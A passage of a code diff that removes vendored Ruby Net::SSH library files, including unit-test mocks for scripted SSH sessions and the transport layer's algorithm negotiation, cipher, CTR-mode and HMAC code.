# An extension to the built-in ::IO class. Simply redefines IO.select
# so that it can be scripted in Net::SSH unit tests.
module IO
def self.included(base) #:nodoc:
base.extend(ClassMethods)
end
module ClassMethods
def self.extended(obj) #:nodoc:
class <<obj
alias_method :select_for_real, :select
alias_method :select, :select_for_test
end
end
# The testing version of ::IO.select. Assumes that all readers,
# writers, and errors arrays are either nil, or contain only objects
# that mix in Net::SSH::Test::Extensions::BufferedIo.
def select_for_test(readers=nil, writers=nil, errors=nil, wait=nil)
ready_readers = Array(readers).select { |r| r.select_for_read? }
ready_writers = Array(writers).select { |r| r.select_for_write? }
ready_errors = Array(errors).select { |r| r.select_for_error? }
if ready_readers.any? || ready_writers.any? || ready_errors.any?
return [ready_readers, ready_writers, ready_errors]
end
processed = 0
Array(readers).each do |reader|
processed += 1 if reader.idle!
end
raise "no readers were ready for reading, and none had any incoming packets" if processed == 0
end
end
end
end
end; end; end
Net::SSH::BufferedIo.send(:include, Net::SSH::Test::Extensions::BufferedIo)
Net::SSH::Transport::PacketStream.send(:include, Net::SSH::Test::Extensions::PacketStream)
Net::SSH::Connection::Channel.send(:include, Net::SSH::Test::Extensions::Channel)
IO.send(:include, Net::SSH::Test::Extensions::IO)
-45
View File
@@ -1,45 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
require 'net/ssh/errors'
require 'net/ssh/transport/algorithms'
require 'net/ssh/transport/constants'
require 'net/ssh/transport/kex'
module Net; module SSH; module Test
# An implementation of a key-exchange strategy specifically for unit tests.
# (This strategy would never really work against a real SSH server--it makes
# too many assumptions about the server's response.)
#
# This registers itself with the transport key-exchange system as the
# "test" algorithm.
class Kex
include Net::SSH::Transport::Constants
# Creates a new instance of the testing key-exchange algorithm with the
# given arguments.
def initialize(algorithms, connection, data)
@connection = connection
end
# Exchange keys with the server. This returns a hash of constant values,
# and does not actually exchange keys.
def exchange_keys
result = Net::SSH::Buffer.from(:byte, NEWKEYS)
@connection.send_message(result)
buffer = @connection.next_message
raise Net::SSH::Exception, "expected NEWKEYS" unless buffer.type == NEWKEYS
{ :session_id => "abc-xyz",
:server_key => OpenSSL::PKey::RSA.new(32),
:shared_secret => OpenSSL::BN.new("1234567890", 10),
:hashing_algorithm => OpenSSL::Digest::SHA1 }
end
end
end; end; end
Net::SSH::Transport::Algorithms::ALGORITHMS[:kex] << "test"
Net::SSH::Transport::Kex::MAP["test"] = Net::SSH::Test::Kex
-52
View File
@@ -1,52 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/packet'
require 'net/ssh/test/packet'
module Net; module SSH; module Test
# This is a specialization of Net::SSH::Test::Packet for representing mock
# packets that are sent from the local (client) host. These are created
# automatically by Net::SSH::Test::Script and Net::SSH::Test::Channel by any
# of the sends_* methods.
class LocalPacket < Packet
attr_reader :init
# Extend the default Net::SSH::Test::Packet constructor to also accept an
# optional block, which is used to finalize the initialization of the
# packet when #process is first called.
def initialize(type, *args, &block)
super(type, *args)
@init = block
end
# Returns +true+; this is a local packet.
def local?
true
end
# Called by Net::SSH::Test::Extensions::PacketStream#test_enqueue_packet
# to mimic remote processing of a locally-sent packet. It compares the
# packet it was given with the contents of this LocalPacket's data, to see
# if what was sent matches what was scripted. If it differs in any way,
# an exception is raised.
def process(packet)
@init.call(Net::SSH::Packet.new(packet.to_s)) if @init
type = packet.read_byte
raise "expected #{@type}, but got #{type}" if @type != type
@data.zip(types).each do |expected, type|
type ||= case expected
when nil then break
when Numeric then :long
when String then :string
when TrueClass, FalseClass then :bool
end
actual = packet.send("read_#{type}")
next if expected.nil?
raise "expected #{type} #{expected.inspect} but got #{actual.inspect}" unless expected == actual
end
end
end
end; end; end
-82
View File
@@ -1,82 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/connection/constants'
require 'net/ssh/transport/constants'
module Net; module SSH; module Test
# This is an abstract class, not to be instantiated directly, subclassed by
# Net::SSH::Test::LocalPacket and Net::SSH::Test::RemotePacket. It implements
# functionality common to those subclasses.
#
# These packets are not true packets, in that they don't represent what was
# actually sent between the hosst; rather, they represent what was expected
# to be sent, as dictated by the script (Net::SSH::Test::Script). Thus,
# though they are defined with data elements, these data elements are used
# to either validate data that was sent by the local host (Net::SSH::Test::LocalPacket)
# or to mimic the sending of data by the remote host (Net::SSH::Test::RemotePacket).
class Packet
include Net::SSH::Transport::Constants
include Net::SSH::Connection::Constants
# Ceate a new packet of the given +type+, and with +args+ being a list of
# data elements in the order expected for packets of the given +type+
# (see #types).
def initialize(type, *args)
@type = self.class.const_get(type.to_s.upcase)
@data = args
end
# The default for +remote?+ is false. Subclasses should override as necessary.
def remote?
false
end
# The default for +local?+ is false. Subclasses should override as necessary.
def local?
false
end
# Instantiates the packets data elements. When the packet was first defined,
# some elements may not have been fully realized, and were described as
# Proc objects rather than atomic types. This invokes those Proc objects
# and replaces them with their returned values. This allows for values
# like Net::SSH::Test::Channel#remote_id to be used in scripts before
# the remote_id is known (since it is only known after a channel has been
# confirmed open).
def instantiate!
@data.map! { |i| i.respond_to?(:call) ? i.call : i }
end
# Returns an array of symbols describing the data elements for packets of
# the same type as this packet. These types are used to either validate
# sent packets (Net::SSH::Test::LocalPacket) or build received packets
# (Net::SSH::Test::RemotePacket).
#
# Not all packet types are defined here. As new packet types are required
# (e.g., a unit test needs to test that the remote host sent a packet that
# is not implemented here), the description of that packet should be
# added. Unsupported packet types will otherwise raise an exception.
def types
@types ||= case @type
when KEXINIT then
[:long, :long, :long, :long,
:string, :string, :string, :string, :string, :string, :string, :string, :string, :string,
:bool]
when NEWKEYS then []
when CHANNEL_OPEN then [:string, :long, :long, :long]
when CHANNEL_OPEN_CONFIRMATION then [:long, :long, :long, :long]
when CHANNEL_DATA then [:long, :string]
when CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_SUCCESS, CHANNEL_FAILURE then [:long]
when CHANNEL_REQUEST
parts = [:long, :string, :bool]
case @data[1]
when "exec", "subsystem" then parts << :string
when "exit-status" then parts << :long
else raise "don't know what to do about #{@data[1]} channel request"
end
else raise "don't know how to parse packet type #{@type}"
end
end
end
end; end; end
-39
View File
@@ -1,39 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/test/packet'
module Net; module SSH; module Test
# This is a specialization of Net::SSH::Test::Packet for representing mock
# packets that are received by the local (client) host. These are created
# automatically by Net::SSH::Test::Script and Net::SSH::Test::Channel by any
# of the gets_* methods.
class RemotePacket < Packet
# Returns +true+; this is a remote packet.
def remote?
true
end
# The #process method should only be called on Net::SSH::Test::LocalPacket
# packets; if it is attempted on a remote packet, then it is an expectation
# mismatch (a remote packet was received when a local packet was expected
# to be sent). This will happen when either your test script
# (Net::SSH::Test::Script) or your program are wrong.
def process(packet)
raise "received packet type #{packet.read_byte} and was not expecting any packet"
end
# Returns this remote packet as a string, suitable for parsing by
# Net::SSH::Transport::PacketStream and friends. When a remote packet is
# received, this method is called and the result concatenated onto the
# input buffer for the packet stream.
def to_s
@to_s ||= begin
instantiate!
string = Net::SSH::Buffer.from(:byte, @type, *types.zip(@data).flatten).to_s
[string.length, string].pack("NA*")
end
end
end
end; end; end
-158
View File
@@ -1,158 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/test/channel'
require 'net/ssh/test/local_packet'
require 'net/ssh/test/remote_packet'
module Net; module SSH; module Test
# Represents a sequence of scripted events that identify the behavior that
# a test expects. Methods named "sends_*" create events for packets being
# sent from the local to the remote host, and methods named "gets_*" create
# events for packets being received by the local from the remote host.
#
# A reference to a script. is generally obtained in a unit test via the
# Net::SSH::Test#story helper method:
#
# story do |script|
# channel = script.opens_channel
# ...
# end
class Script
# The list of scripted events. These will be Net::SSH::Test::LocalPacket
# and Net::SSH::Test::RemotePacket instances.
attr_reader :events
# Create a new, empty script.
def initialize
@events = []
end
# Scripts the opening of a channel by adding a local packet sending the
# channel open request, and if +confirm+ is true (the default), also
# adding a remote packet confirming the new channel.
#
# A new Net::SSH::Test::Channel instance is returned, which can be used
# to script additional channel operations.
def opens_channel(confirm=true)
channel = Channel.new(self)
channel.remote_id = 5555
events << LocalPacket.new(:channel_open) { |p| channel.local_id = p[:remote_id] }
if confirm
events << RemotePacket.new(:channel_open_confirmation, channel.local_id, channel.remote_id, 0x20000, 0x10000)
end
channel
end
# A convenience method for adding an arbitrary local packet to the events
# list.
def sends(type, *args, &block)
events << LocalPacket.new(type, *args, &block)
end
# A convenience method for adding an arbitrary remote packet to the events
# list.
def gets(type, *args)
events << RemotePacket.new(type, *args)
end
# Scripts the sending of a new channel request packet to the remote host.
# +channel+ should be an instance of Net::SSH::Test::Channel. +request+
# is a string naming the request type to send, +reply+ is a boolean
# indicating whether a response to this packet is required , and +data+
# is any additional request-specific data that this packet should send.
# +success+ indicates whether the response (if one is required) should be
# success or failure.
#
# If a reply is desired, a remote packet will also be queued, :channel_success
# if +success+ is true, or :channel_failure if +success+ is false.
#
# This will typically be called via Net::SSH::Test::Channel#sends_exec or
# Net::SSH::Test::Channel#sends_subsystem.
def sends_channel_request(channel, request, reply, data, success=true)
events << LocalPacket.new(:channel_request, channel.remote_id, request, reply, data)
if reply
if success
events << RemotePacket.new(:channel_success, channel.local_id)
else
events << RemotePacket.new(:channel_failure, channel.local_id)
end
end
end
# Scripts the sending of a channel data packet. +channel+ must be a
# Net::SSH::Test::Channel object, and +data+ is the (string) data to
# expect will be sent.
#
# This will typically be called via Net::SSH::Test::Channel#sends_data.
def sends_channel_data(channel, data)
events << LocalPacket.new(:channel_data, channel.remote_id, data)
end
# Scripts the sending of a channel EOF packet from the given
# Net::SSH::Test::Channel +channel+. This will typically be called via
# Net::SSH::Test::Channel#sends_eof.
def sends_channel_eof(channel)
events << LocalPacket.new(:channel_eof, channel.remote_id)
end
# Scripts the sending of a channel close packet from the given
# Net::SSH::Test::Channel +channel+. This will typically be called via
# Net::SSH::Test::Channel#sends_close.
def sends_channel_close(channel)
events << LocalPacket.new(:channel_close, channel.remote_id)
end
# Scripts the reception of a channel data packet from the remote host by
# the given Net::SSH::Test::Channel +channel+. This will typically be
# called via Net::SSH::Test::Channel#gets_data.
def gets_channel_data(channel, data)
events << RemotePacket.new(:channel_data, channel.local_id, data)
end
# Scripts the reception of a channel request packet from the remote host by
# the given Net::SSH::Test::Channel +channel+. This will typically be
# called via Net::SSH::Test::Channel#gets_exit_status.
def gets_channel_request(channel, request, reply, data)
events << RemotePacket.new(:channel_request, channel.local_id, request, reply, data)
end
# Scripts the reception of a channel EOF packet from the remote host by
# the given Net::SSH::Test::Channel +channel+. This will typically be
# called via Net::SSH::Test::Channel#gets_eof.
def gets_channel_eof(channel)
events << RemotePacket.new(:channel_eof, channel.local_id)
end
# Scripts the reception of a channel close packet from the remote host by
# the given Net::SSH::Test::Channel +channel+. This will typically be
# called via Net::SSH::Test::Channel#gets_close.
def gets_channel_close(channel)
events << RemotePacket.new(:channel_close, channel.local_id)
end
# By default, removes the next event in the list and returns it. However,
# this can also be used to non-destructively peek at the next event in the
# list, by passing :first as the argument.
#
# # remove the next event and return it
# event = script.next
#
# # peek at the next event
# event = script.next(:first)
def next(mode=:shift)
events.send(mode)
end
# Compare the given packet against the next event in the list. If there is
# no next event, an exception will be raised. This is called by
# Net::SSH::Test::Extensions::PacketStream#test_enqueue_packet.
def process(packet)
event = events.shift or raise "end of script reached, but got a packet type #{packet.read_byte}"
event.process(packet)
end
end
end; end; end
-60
View File
@@ -1,60 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'stringio'
require 'net/ssh/test/extensions'
require 'net/ssh/test/script'
module Net; module SSH; module Test
# A mock socket implementation for use in testing. It implements the minimum
# necessary interface for interacting with the rest of the Net::SSH::Test
# system.
class Socket < StringIO
attr_reader :host, :port
# The Net::SSH::Test::Script object in use by this socket. This is the
# canonical script instance that should be used for any test depending on
# this socket instance.
attr_reader :script
# Create a new test socket. This will also instantiate a new Net::SSH::Test::Script
# and seed it with the necessary events to power the initialization of the
# connection.
def initialize
extend(Net::SSH::Transport::PacketStream)
super "SSH-2.0-Test\r\n"
@script = Script.new
script.gets(:kexinit, 1, 2, 3, 4, "test", "ssh-rsa", "none", "none", "none", "none", "none", "none", "", "", false)
script.sends(:kexinit)
script.sends(:newkeys)
script.gets(:newkeys)
end
# This doesn't actually do anything, since we don't really care what gets
# written.
def write(data)
# black hole, because we don't actually care about what gets written
end
# Allows the socket to also mimic a socket factory, simply returning
# +self+.
def open(host, port)
@host, @port = host, port
self
end
# Returns a sockaddr struct for the port and host that were used when the
# socket was instantiated.
def getpeername
::Socket.sockaddr_in(port, host)
end
# Alias to #read, but never returns nil (returns an empty string instead).
def recv(n)
read(n) || ""
end
end
end; end; end
-393
View File
@@ -1,393 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/known_hosts'
require 'net/ssh/loggable'
require 'net/ssh/transport/cipher_factory'
require 'net/ssh/transport/constants'
require 'net/ssh/transport/hmac'
require 'net/ssh/transport/kex'
require 'net/ssh/transport/server_version'
module Net; module SSH; module Transport
# Implements the higher-level logic behind an SSH key-exchange. It handles
# both the initial exchange, as well as subsequent re-exchanges (as needed).
# It also encapsulates the negotiation of the algorithms, and provides a
# single point of access to the negotiated algorithms.
#
# You will never instantiate or reference this directly. It is used
# internally by the transport layer.
class Algorithms
include Constants, Loggable
# Define the default algorithms, in order of preference, supported by
# Net::SSH.
ALGORITHMS = {
:host_key => %w(ssh-rsa ssh-dss),
:kex => %w(diffie-hellman-group-exchange-sha1
diffie-hellman-group1-sha1
diffie-hellman-group-exchange-sha256),
:encryption => %w(aes128-cbc 3des-cbc blowfish-cbc cast128-cbc
aes192-cbc aes256-cbc rijndael-cbc@lysator.liu.se
idea-cbc none arcfour128 arcfour256
aes128-ctr aes192-ctr aes256-ctr),
:hmac => %w(hmac-sha1 hmac-md5 hmac-sha1-96 hmac-md5-96 none),
:compression => %w(none zlib@openssh.com zlib),
:language => %w()
}
if defined?(OpenSSL::PKey::EC)
ALGORITHMS[:kex] += %w(ecdh-sha2-nistp256
ecdh-sha2-nistp384
ecdh-sha2-nistp521)
end
# The underlying transport layer session that supports this object
attr_reader :session
# The hash of options used to initialize this object
attr_reader :options
# The kex algorithm to use settled on between the client and server.
attr_reader :kex
# The type of host key that will be used for this session.
attr_reader :host_key
# The type of the cipher to use to encrypt packets sent from the client to
# the server.
attr_reader :encryption_client
# The type of the cipher to use to decrypt packets arriving from the server.
attr_reader :encryption_server
# The type of HMAC to use to sign packets sent by the client.
attr_reader :hmac_client
# The type of HMAC to use to validate packets arriving from the server.
attr_reader :hmac_server
# The type of compression to use to compress packets being sent by the client.
attr_reader :compression_client
# The type of compression to use to decompress packets arriving from the server.
attr_reader :compression_server
# The language that will be used in messages sent by the client.
attr_reader :language_client
# The language that will be used in messages sent from the server.
attr_reader :language_server
# The hash of algorithms preferred by the client, which will be told to
# the server during algorithm negotiation.
attr_reader :algorithms
# The session-id for this session, as decided during the initial key exchange.
attr_reader :session_id
# Returns true if the given packet can be processed during a key-exchange.
def self.allowed_packet?(packet)
( 1.. 4).include?(packet.type) ||
( 6..19).include?(packet.type) ||
(21..49).include?(packet.type)
end
# Instantiates a new Algorithms object, and prepares the hash of preferred
# algorithms based on the options parameter and the ALGORITHMS constant.
def initialize(session, options={})
@session = session
@logger = session.logger
@options = options
@algorithms = {}
@pending = @initialized = false
@client_packet = @server_packet = nil
prepare_preferred_algorithms!
end
# Request a rekey operation. This will return immediately, and does not
# actually perform the rekey operation. It does cause the session to change
# state, however--until the key exchange finishes, no new packets will be
# processed.
def rekey!
@client_packet = @server_packet = nil
@initialized = false
send_kexinit
end
# Called by the transport layer when a KEXINIT packet is recieved, indicating
# that the server wants to exchange keys. This can be spontaneous, or it
# can be in response to a client-initiated rekey request (see #rekey!). Either
# way, this will block until the key exchange completes.
def accept_kexinit(packet)
info { "got KEXINIT from server" }
@server_data = parse_server_algorithm_packet(packet)
@server_packet = @server_data[:raw]
if !pending?
send_kexinit
else
proceed!
end
end
# A convenience method for accessing the list of preferred types for a
# specific algorithm (see #algorithms).
def [](key)
algorithms[key]
end
# Returns +true+ if a key-exchange is pending. This will be true from the
# moment either the client or server requests the key exchange, until the
# exchange completes. While an exchange is pending, only a limited number
# of packets are allowed, so event processing essentially stops during this
# period.
def pending?
@pending
end
# Returns true if no exchange is pending, and otherwise returns true or
# false depending on whether the given packet is of a type that is allowed
# during a key exchange.
def allow?(packet)
!pending? || Algorithms.allowed_packet?(packet)
end
# Returns true if the algorithms have been negotiated at all.
def initialized?
@initialized
end
private
# Sends a KEXINIT packet to the server. If a server KEXINIT has already
# been received, this will then invoke #proceed! to proceed with the key
# exchange, otherwise it returns immediately (but sets the object to the
# pending state).
def send_kexinit
info { "sending KEXINIT" }
@pending = true
packet = build_client_algorithm_packet
@client_packet = packet.to_s
session.send_message(packet)
proceed! if @server_packet
end
# After both client and server have sent their KEXINIT packets, this
# will do the algorithm negotiation and key exchange. Once both finish,
# the object leaves the pending state and the method returns.
def proceed!
info { "negotiating algorithms" }
negotiate_algorithms
exchange_keys
@pending = false
end
# Prepares the list of preferred algorithms, based on the options hash
# that was given when the object was constructed, and the ALGORITHMS
# constant. Also, when determining the host_key type to use, the known
# hosts files are examined to see if the host has ever sent a host_key
# before, and if so, that key type is used as the preferred type for
# communicating with this server.
def prepare_preferred_algorithms!
options[:compression] = %w(zlib@openssh.com zlib) if options[:compression] == true
ALGORITHMS.each do |algorithm, list|
algorithms[algorithm] = list.dup
# apply the preferred algorithm order, if any
if options[algorithm]
algorithms[algorithm] = Array(options[algorithm]).compact.uniq
invalid = algorithms[algorithm].detect { |name| !ALGORITHMS[algorithm].include?(name) }
raise NotImplementedError, "unsupported #{algorithm} algorithm: `#{invalid}'" if invalid
# make sure all of our supported algorithms are tacked onto the
# end, so that if the user tries to give a list of which none are
# supported, we can still proceed.
list.each { |name| algorithms[algorithm] << name unless algorithms[algorithm].include?(name) }
end
end
# for convention, make sure our list has the same keys as the server
# list
algorithms[:encryption_client ] = algorithms[:encryption_server ] = algorithms[:encryption]
algorithms[:hmac_client ] = algorithms[:hmac_server ] = algorithms[:hmac]
algorithms[:compression_client] = algorithms[:compression_server] = algorithms[:compression]
algorithms[:language_client ] = algorithms[:language_server ] = algorithms[:language]
if !options.key?(:host_key) and options[:config]
# make sure the host keys are specified in preference order, where any
# existing known key for the host has preference.
existing_keys = KnownHosts.search_for(options[:host_key_alias] || session.host_as_string, options)
host_keys = existing_keys.map { |key| key.ssh_type }.uniq
algorithms[:host_key].each do |name|
host_keys << name unless host_keys.include?(name)
end
algorithms[:host_key] = host_keys
end
end
# Parses a KEXINIT packet from the server.
def parse_server_algorithm_packet(packet)
data = { :raw => packet.content }
packet.read(16) # skip the cookie value
data[:kex] = packet.read_string.split(/,/)
data[:host_key] = packet.read_string.split(/,/)
data[:encryption_client] = packet.read_string.split(/,/)
data[:encryption_server] = packet.read_string.split(/,/)
data[:hmac_client] = packet.read_string.split(/,/)
data[:hmac_server] = packet.read_string.split(/,/)
data[:compression_client] = packet.read_string.split(/,/)
data[:compression_server] = packet.read_string.split(/,/)
data[:language_client] = packet.read_string.split(/,/)
data[:language_server] = packet.read_string.split(/,/)
# TODO: if first_kex_packet_follows, we need to try to skip the
# actual kexinit stuff and try to guess what the server is doing...
# need to read more about this scenario.
first_kex_packet_follows = packet.read_bool
return data
end
# Given the #algorithms map of preferred algorithm types, this constructs
# a KEXINIT packet to send to the server. It does not actually send it,
# it simply builds the packet and returns it.
def build_client_algorithm_packet
kex = algorithms[:kex ].join(",")
host_key = algorithms[:host_key ].join(",")
encryption = algorithms[:encryption ].join(",")
hmac = algorithms[:hmac ].join(",")
compression = algorithms[:compression].join(",")
language = algorithms[:language ].join(",")
Net::SSH::Buffer.from(:byte, KEXINIT,
:long, [rand(0xFFFFFFFF), rand(0xFFFFFFFF), rand(0xFFFFFFFF), rand(0xFFFFFFFF)],
:string, [kex, host_key, encryption, encryption, hmac, hmac],
:string, [compression, compression, language, language],
:bool, false, :long, 0)
end
# Given the parsed server KEX packet, and the client's preferred algorithm
# lists in #algorithms, determine which preferred algorithms each has
# in common and set those as the selected algorithms. If, for any algorithm,
# no type can be settled on, an exception is raised.
def negotiate_algorithms
@kex = negotiate(:kex)
@host_key = negotiate(:host_key)
@encryption_client = negotiate(:encryption_client)
@encryption_server = negotiate(:encryption_server)
@hmac_client = negotiate(:hmac_client)
@hmac_server = negotiate(:hmac_server)
@compression_client = negotiate(:compression_client)
@compression_server = negotiate(:compression_server)
@language_client = negotiate(:language_client) rescue ""
@language_server = negotiate(:language_server) rescue ""
debug do
"negotiated:\n" +
[:kex, :host_key, :encryption_server, :encryption_client, :hmac_client, :hmac_server, :compression_client, :compression_server, :language_client, :language_server].map do |key|
"* #{key}: #{instance_variable_get("@#{key}")}"
end.join("\n")
end
end
# Negotiates a single algorithm based on the preferences reported by the
# server and those set by the client. This is called by
# #negotiate_algorithms.
def negotiate(algorithm)
match = self[algorithm].find { |item| @server_data[algorithm].include?(item) }
if match.nil?
raise Net::SSH::Exception, "could not settle on #{algorithm} algorithm"
end
return match
end
# Considers the sizes of the keys and block-sizes for the selected ciphers,
# and the lengths of the hmacs, and returns the largest as the byte requirement
# for the key-exchange algorithm.
def kex_byte_requirement
sizes = [8] # require at least 8 bytes
sizes.concat(CipherFactory.get_lengths(encryption_client))
sizes.concat(CipherFactory.get_lengths(encryption_server))
sizes << HMAC.key_length(hmac_client)
sizes << HMAC.key_length(hmac_server)
sizes.max
end
# Instantiates one of the Transport::Kex classes (based on the negotiated
# kex algorithm), and uses it to exchange keys. Then, the ciphers and
# HMACs are initialized and fed to the transport layer, to be used in
# further communication with the server.
def exchange_keys
debug { "exchanging keys" }
algorithm = Kex::MAP[kex].new(self, session,
:client_version_string => Net::SSH::Transport::ServerVersion::PROTO_VERSION,
:server_version_string => session.server_version.version,
:server_algorithm_packet => @server_packet,
:client_algorithm_packet => @client_packet,
:need_bytes => kex_byte_requirement,
:logger => logger)
result = algorithm.exchange_keys
secret = result[:shared_secret].to_ssh
hash = result[:session_id]
digester = result[:hashing_algorithm]
@session_id ||= hash
key = Proc.new { |salt| digester.digest(secret + hash + salt + @session_id) }
iv_client = key["A"]
iv_server = key["B"]
key_client = key["C"]
key_server = key["D"]
mac_key_client = key["E"]
mac_key_server = key["F"]
parameters = { :iv => iv_client, :key => key_client, :shared => secret,
:hash => hash, :digester => digester }
cipher_client = CipherFactory.get(encryption_client, parameters.merge(:encrypt => true))
cipher_server = CipherFactory.get(encryption_server, parameters.merge(:iv => iv_server, :key => key_server, :decrypt => true))
mac_client = HMAC.get(hmac_client, mac_key_client)
mac_server = HMAC.get(hmac_server, mac_key_server)
session.configure_client :cipher => cipher_client, :hmac => mac_client,
:compression => normalize_compression_name(compression_client),
:compression_level => options[:compression_level],
:rekey_limit => options[:rekey_limit],
:max_packets => options[:rekey_packet_limit],
:max_blocks => options[:rekey_blocks_limit]
session.configure_server :cipher => cipher_server, :hmac => mac_server,
:compression => normalize_compression_name(compression_server),
:rekey_limit => options[:rekey_limit],
:max_packets => options[:rekey_packet_limit],
:max_blocks => options[:rekey_blocks_limit]
@initialized = true
end
# Given the SSH name for some compression algorithm, return a normalized
# name as a symbol.
def normalize_compression_name(name)
case name
when "none" then false
when "zlib" then :standard
when "zlib@openssh.com" then :delayed
else raise ArgumentError, "unknown compression type `#{name}'"
end
end
end
end; end; end
-91
View File
@@ -1,91 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
require 'net/ssh/transport/identity_cipher'
require 'net/ssh/transport/ctr.rb'
module Net; module SSH; module Transport
# Implements a factory of OpenSSL cipher algorithms.
class CipherFactory
# Maps the SSH name of a cipher to it's corresponding OpenSSL name
SSH_TO_OSSL = {
"3des-cbc" => "des-ede3-cbc",
"blowfish-cbc" => "bf-cbc",
"aes256-cbc" => "aes-256-cbc",
"aes192-cbc" => "aes-192-cbc",
"aes128-cbc" => "aes-128-cbc",
"aes128-ctr" => "aes-128-ecb",
"aes192-ctr" => "aes-192-ecb",
"aes256-ctr" => "aes-256-ecb",
"idea-cbc" => "idea-cbc",
"cast128-cbc" => "cast-cbc",
"rijndael-cbc@lysator.liu.se" => "aes-256-cbc",
"arcfour128" => "rc4",
"arcfour256" => "rc4",
"none" => "none"
}
# Returns true if the underlying OpenSSL library supports the given cipher,
# and false otherwise.
def self.supported?(name)
ossl_name = SSH_TO_OSSL[name] or raise NotImplementedError, "unimplemented cipher `#{name}'"
return true if ossl_name == "none"
return OpenSSL::Cipher.ciphers.include?(ossl_name)
end
# Retrieves a new instance of the named algorithm. The new instance
# will be initialized using an iv and key generated from the given
# iv, key, shared, hash and digester values. Additionally, the
# cipher will be put into encryption or decryption mode, based on the
# value of the +encrypt+ parameter.
def self.get(name, options={})
ossl_name = SSH_TO_OSSL[name] or raise NotImplementedError, "unimplemented cipher `#{name}'"
return IdentityCipher if ossl_name == "none"
cipher = OpenSSL::Cipher::Cipher.new(ossl_name)
cipher.send(options[:encrypt] ? :encrypt : :decrypt)
cipher.extend(Net::SSH::Transport::CTR) if (name =~ /-ctr$/)
cipher.padding = 0
cipher.iv = make_key(cipher.iv_len, options[:iv], options) if ossl_name != "rc4"
cipher.key_len = 32 if name == "arcfour256"
cipher.key = make_key(cipher.key_len, options[:key], options)
cipher.update(" " * 1536) if ossl_name == "rc4"
return cipher
end
# Returns a two-element array containing the [ key-length,
# block-size ] for the named cipher algorithm. If the cipher
# algorithm is unknown, or is "none", 0 is returned for both elements
# of the tuple.
def self.get_lengths(name)
ossl_name = SSH_TO_OSSL[name]
return [0, 0] if ossl_name.nil? || ossl_name == "none"
cipher = OpenSSL::Cipher::Cipher.new(ossl_name)
return [cipher.key_len, ossl_name=="rc4" ? 8 : cipher.block_size]
end
private
# Generate a key value in accordance with the SSH2 specification.
def self.make_key(bytes, start, options={})
k = start[0, bytes]
digester = options[:digester]
shared = options[:shared]
hash = options[:hash]
while k.length < bytes
step = digester.digest(shared + hash + k)
bytes_needed = bytes - k.length
k << step[0, bytes_needed]
end
return k
end
end
end; end; end
-33
View File
@@ -1,33 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Transport
module Constants
#--
# Transport layer generic messages
#++
DISCONNECT = 1
IGNORE = 2
UNIMPLEMENTED = 3
DEBUG = 4
SERVICE_REQUEST = 5
SERVICE_ACCEPT = 6
#--
# Algorithm negotiation messages
#++
KEXINIT = 20
NEWKEYS = 21
#--
# Key exchange method specific messages
#++
KEXDH_INIT = 30
KEXDH_REPLY = 31
KEXECDH_INIT = 30
KEXECDH_REPLY = 31
end
end; end; end
-96
View File
@@ -1,96 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
module Net::SSH::Transport
# Pure-Ruby implementation of Stateful Decryption Counter(SDCTR) Mode
# for Block Ciphers. See RFC4344 for detail.
module CTR
def self.extended(orig)
orig.instance_eval {
@remaining = ""
@counter = nil
@counter_len = orig.block_size
orig.encrypt
orig.padding = 0
}
class <<orig
alias :_update :update
private :_update
undef :update
def iv
@counter
end
def iv_len
block_size
end
def iv=(iv_s)
@counter = iv_s if @counter.nil?
end
def encrypt
# DO NOTHING (always set to "encrypt")
end
def decrypt
# DO NOTHING (always set to "decrypt")
end
def padding=(pad)
# DO NOTHING (always 0)
end
def reset
@remaining = ""
end
def update(data)
@remaining += data
encrypted = ""
while @remaining.bytesize >= block_size
encrypted += xor!(@remaining.slice!(0, block_size),
_update(@counter))
increment_counter!
end
encrypted
end
def final
unless @remaining.empty?
s = xor!(@remaining, _update(@counter))
else
s = ""
end
@remaining = ""
s
end
private
def xor!(s1, s2)
s = []
s1.unpack('Q*').zip(s2.unpack('Q*')) {|a,b| s.push(a^b) }
s.pack('Q*')
end
def increment_counter!
c = @counter_len
while ((c -= 1) > 0)
if @counter.setbyte(c, (@counter.getbyte(c) + 1) & 0xff) != 0
break
end
end
end
end
end
end
end
-32
View File
@@ -1,32 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/transport/hmac/md5'
require 'net/ssh/transport/hmac/md5_96'
require 'net/ssh/transport/hmac/sha1'
require 'net/ssh/transport/hmac/sha1_96'
require 'net/ssh/transport/hmac/none'
# Implements a simple factory interface for fetching hmac implementations, or
# for finding the key lengths for hmac implementations.s
module Net::SSH::Transport::HMAC
# The mapping of SSH hmac algorithms to their implementations
MAP = {
'hmac-md5' => MD5,
'hmac-md5-96' => MD5_96,
'hmac-sha1' => SHA1,
'hmac-sha1-96' => SHA1_96,
'none' => None
}
# Retrieves a new hmac instance of the given SSH type (+name+). If +key+ is
# given, the new instance will be initialized with that key.
def self.get(name, key="")
impl = MAP[name] or raise ArgumentError, "hmac not found: #{name.inspect}"
impl.new(key)
end
# Retrieves the key length for the hmac of the given SSH type (+name+).
def self.key_length(name)
impl = MAP[name] or raise ArgumentError, "hmac not found: #{name.inspect}"
impl.key_length
end
end
-79
View File
@@ -1,79 +0,0 @@
# -*- coding: binary -*-
require 'openssl'
module Net; module SSH; module Transport; module HMAC
# The base class of all OpenSSL-based HMAC algorithm wrappers.
class Abstract
class <<self
def key_length(*v)
@key_length = nil if !defined?(@key_length)
if v.empty?
@key_length = superclass.key_length if @key_length.nil? && superclass.respond_to?(:key_length)
return @key_length
elsif v.length == 1
@key_length = v.first
else
raise ArgumentError, "wrong number of arguments (#{v.length} for 1)"
end
end
def mac_length(*v)
@mac_length = nil if !defined?(@mac_length)
if v.empty?
@mac_length = superclass.mac_length if @mac_length.nil? && superclass.respond_to?(:mac_length)
return @mac_length
elsif v.length == 1
@mac_length = v.first
else
raise ArgumentError, "wrong number of arguments (#{v.length} for 1)"
end
end
def digest_class(*v)
@digest_class = nil if !defined?(@digest_class)
if v.empty?
